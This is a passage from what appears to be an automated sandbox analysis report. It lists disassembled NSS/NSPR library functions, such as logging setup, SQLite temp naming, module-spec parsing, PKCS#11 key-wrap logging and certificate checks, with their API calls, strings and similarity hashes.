Part of subcall function 6CBF1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1291
Part of subcall function 6CBF1240: PR_Unlock.NSS3(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBF1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CBF1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CBF1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CBF1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CBF1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CBF1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBF1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CBF1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CBF1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CBF1F83
PR_SetLogFile.NSS3(00000000), ref: 6CBF1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CBF1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CBF1FCB
free.MOZGLUE(00000000), ref: 6CBF1FD2

Strings

Unable to create nspr log file '%s', xrefs: 6CBF1FB3
NSPR_LOG_FILE, xrefs: 6CBF1F69
bufsize, xrefs: 6CBF1E9B
NSPR_LOG_MODULES, xrefs: 6CBF1DAD
sync, xrefs: 6CBF1E46
all, xrefs: 6CBF1F0E
append, xrefs: 6CBF1EE6
, %n, xrefs: 6CBF1E6B
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CBF1E27
timestamp, xrefs: 6CBF1EC4

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 5356858b9e237b3380ad4823afa6fb6671d537f5b5b017854269a178ef3e2427
Instruction ID: de9828d571b70421e271f65f090f5cc8010931f4196f1696dc6ddd3b0bfba0c9
Opcode Fuzzy Hash: 5356858b9e237b3380ad4823afa6fb6671d537f5b5b017854269a178ef3e2427
Instruction Fuzzy Hash: 13516FB1E042999BEF00DBE5DC44B9E77B8AF05308F080928E929DBB40E771D51DCB62

Function 6CCD6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB8CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBEF9C9,?,6CBEF4DA,6CBEF9C9,?,?,6CBB369A), ref: 6CB8CA7A
Part of subcall function 6CB8CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB8CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CB9BE66), ref: 6CCD6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CB9BE66), ref: 6CCD6E98
sqlite3_snprintf.NSS3(?,00000000,6CD3AAF9,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CB9BE66), ref: 6CCD6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CB9BE66), ref: 6CCD6FA6
sqlite3_snprintf.NSS3(?,00000000,6CD3AAF9,00000000,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD7014
sqlite3_free.NSS3(00000000,?,?,?,?,6CB9BE66), ref: 6CCD701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CB9BE66), ref: 6CCD7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CB9BE66), ref: 6CCD7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD70A0

Strings

mz_etilqs_, xrefs: 6CCD6F18
winGetTempname2, xrefs: 6CCD70C4
winGetTempname5, xrefs: 6CCD7071
winGetTempname1, xrefs: 6CCD708F
winGetTempname4, xrefs: 6CCD7046

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 8b12d6b7eb0fbc9890a50cd787ca958b884b446e6998b70a4651f1731a29e46e
Instruction ID: b273165d0c2e198121be07a06335bcf8f67117cdd928f0f77af75309f3932cee
Opcode Fuzzy Hash: 8b12d6b7eb0fbc9890a50cd787ca958b884b446e6998b70a4651f1731a29e46e
Instruction Fuzzy Hash: 8B5156B1E0562127F7009731AC55BBF36669B82308F154A38EA0696FD5FB35B40EC2E3

Function 6CC64FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000,00000000,00000001), ref: 6CC65009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC65049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC6505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CC65071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC650A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CC650B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2), ref: 6CC650CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC650D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC650F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65153
free.MOZGLUE(?), ref: 6CC6516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CC6517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC65195

Strings

config=, xrefs: 6CC6509B
parameters=, xrefs: 6CC6506B
name=, xrefs: 6CC65057
library=, xrefs: 6CC65043
nss=, xrefs: 6CC65083

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: cb2f101fd2ee9f4f7df17c1fa2803b4190f09b1cfc972a88101d818487a82de3
Instruction ID: 2e478af6b3d2a767adf0879d8c6075758196d22c0e75b69d4630803cabd2ac3d
Opcode Fuzzy Hash: cb2f101fd2ee9f4f7df17c1fa2803b4190f09b1cfc972a88101d818487a82de3
Instruction Fuzzy Hash: C15197B5A01215ABEB01DF25DD81AAF37A8AF06248F240020FD55E7F42F735E919C7B2

Function 6CC38E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CC38E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC38EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC38EB3

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC38EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CC38EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CC38F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC38F29
PR_LogPrint.NSS3(?,00000000), ref: 6CC38F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CC38F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC38F80
PR_LogPrint.NSS3(?,00000000), ref: 6CC38F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CC38FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CC38FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CC39047

Strings

hKey = 0x%x, xrefs: 6CC38F5B, 6CC38F6B
pulWrappedKeyLen = 0x%p, xrefs: 6CC38FC8
hWrappingKey = 0x%x, xrefs: 6CC38F01, 6CC38F11
*pulWrappedKeyLen = 0x%x, xrefs: 6CC39042
hSession = 0x%x, xrefs: 6CC38E8E, 6CC38E9E
(CK_INVALID_HANDLE), xrefs: 6CC38EAC, 6CC38F1F, 6CC38F79
pMechanism = 0x%p, xrefs: 6CC38EE0
C_WrapKey, xrefs: 6CC38E71
pWrappedKey = 0x%p, xrefs: 6CC38FAD

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 492ab8ab98caef55f33cd7a40489f36b2afddaa9d39c057bbbf0f31fc00b89ab
Instruction ID: a78d9a14c20bf219343261ae812cf934495936769c787687188e77bf07e44bc2
Opcode Fuzzy Hash: 492ab8ab98caef55f33cd7a40489f36b2afddaa9d39c057bbbf0f31fc00b89ab
Instruction Fuzzy Hash: 0C510835605124AFEB01DF15EC48FAA777AAB4634CF084017F60DABA61E738981CCBB1

Function 6CC64C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CC54F51,00000000), ref: 6CC64C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC54F51,00000000), ref: 6CC64C5B
PR_smprintf.NSS3(6CD3AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CC54F51,00000000), ref: 6CC64C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CC54F51,00000000), ref: 6CC64CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC64CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC64CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC64D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC54F51,00000000), ref: 6CC64D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC54F51,00000000), ref: 6CC64D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CC64D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CC64DA2
free.MOZGLUE(?), ref: 6CC64DB9
free.MOZGLUE(00000000), ref: 6CC64DCF

Strings

any, xrefs: 6CC64C96
slotFlags, xrefs: 6CC64D34
every, xrefs: 6CC64CA1
rust, xrefs: 6CC64D22
rootFlags, xrefs: 6CC64D47
0x%08lx=[%s %s], xrefs: 6CC64D80
%s,%s, xrefs: 6CC64C4B
ootT, xrefs: 6CC64D1A
timeout, xrefs: 6CC64C91
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CC64D9D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: d15e8157252547b89d290296f67bb0cf64202c943ae8d09103b3782179a48cbf
Instruction ID: 31f353462b0ea4926c6a04c830d95c6cc9e373305057da6eb220d95ff08e68ba
Opcode Fuzzy Hash: d15e8157252547b89d290296f67bb0cf64202c943ae8d09103b3782179a48cbf
Instruction Fuzzy Hash: 6B4166B2D00141ABEB12DF16DCD5ABB3A69AB8634CF084124E81A4BF11F731D824C7E2

Function 6CC0DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC0DDDE

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CC0DDF5

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CC0DE34
PR_Now.NSS3 ref: 6CC0DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CC0DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC0DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC0DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC0DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CC0DEF0
PR_smprintf.NSS3(6CD3AAF9,(NULL) (Validity Unknown)), ref: 6CC0DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC0DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC0DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC0DF33
free.MOZGLUE(00000000), ref: 6CC0DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC0DF4B
free.MOZGLUE(00000000), ref: 6CC0DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0DF8E

Strings

%s%s, xrefs: 6CC0DEEB
{???}, xrefs: 6CC0DE8B
(NULL) (Validity Unknown), xrefs: 6CC0DEFA

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 319d1be3788459ae0a101627d59e98e622cdcaff912a073fb0e095345f905ebb
Instruction ID: 9d6218c082acdbcb467a9dd60155c99c8b0e6cf62c0f8245e7dabf356daca6e5
Opcode Fuzzy Hash: 319d1be3788459ae0a101627d59e98e622cdcaff912a073fb0e095345f905ebb
Instruction Fuzzy Hash: F351A5B1E002155BEF00DF659C81AAF7BB9AF85359F144029E819E7B10F731D915CBE2

Function 6CC42D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CC42DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CC42E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC42E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC42E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CC14F1C,?,-00000001,00000000,?), ref: 6CC42E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CC14F1C,?,-00000001,00000000), ref: 6CC42E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC42EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC42EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC42EF8
PR_Unlock.NSS3(?), ref: 6CC42F62
TlsGetValue.KERNEL32 ref: 6CC42F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC42F9E
PR_Unlock.NSS3(?), ref: 6CC42FCA
TlsGetValue.KERNEL32 ref: 6CC4301A
EnterCriticalSection.KERNEL32(?), ref: 6CC4302E
PR_Unlock.NSS3(?), ref: 6CC43066
PR_SetError.NSS3(00000000,00000000), ref: 6CC43085
PR_Unlock.NSS3(?), ref: 6CC430EC
TlsGetValue.KERNEL32 ref: 6CC4310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC43124
PR_Unlock.NSS3(?), ref: 6CC4314C

Part of subcall function 6CC29180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CC5379E,?,6CC29568,00000000,?,6CC5379E,?,00000001,?), ref: 6CC2918D
Part of subcall function 6CC29180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CC5379E,?,6CC29568,00000000,?,6CC5379E,?,00000001,?), ref: 6CC291A0

Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07AD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07CD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07D6
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB8204A), ref: 6CBF07E4
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,6CB8204A), ref: 6CBF0864
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBF0880
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB8204A), ref: 6CBF08CB
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08D7
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08FB

PR_SetError.NSS3(00000000,00000000), ref: 6CC4316D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 26fdce44c5dda5469d5972b8007d8d2915f5846b51a58aba2511234de5e287b7
Instruction ID: 710d224eebaae2fedc6cb83fa0cf29c972765d755ef06e57d3d642ebe061b824
Opcode Fuzzy Hash: 26fdce44c5dda5469d5972b8007d8d2915f5846b51a58aba2511234de5e287b7
Instruction Fuzzy Hash: BAF1AEB1D00219DFEF00DFA4D845BADBBB8BF09318F588169ED05A7711E731A986CB91

Function 6CC29FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CC29FBE

Part of subcall function 6CC02F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CC02F0A
Part of subcall function 6CC02F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC02F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC2A015

Part of subcall function 6CC41940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CC4563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CC4195C
Part of subcall function 6CC41940: EnterCriticalSection.KERNEL32(?,?,6CC4563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CC1EAC5,00000001), ref: 6CC41970
Part of subcall function 6CC41940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CC1EAC5,00000001,?,6CC1CE9B,00000001,6CC1EAC5), ref: 6CC419A0

PL_FreeArenaPool.NSS3(?), ref: 6CC2A067
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC2A055

Part of subcall function 6CB84C70: TlsGetValue.KERNEL32(?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84C97
Part of subcall function 6CB84C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CB0
Part of subcall function 6CB84C70: PR_Unlock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2A07E
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC2A0B1
PL_FreeArenaPool.NSS3(?), ref: 6CC2A0C7
PL_FinishArenaPool.NSS3(?), ref: 6CC2A0CF
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC2A12E
PL_FreeArenaPool.NSS3(?), ref: 6CC2A140
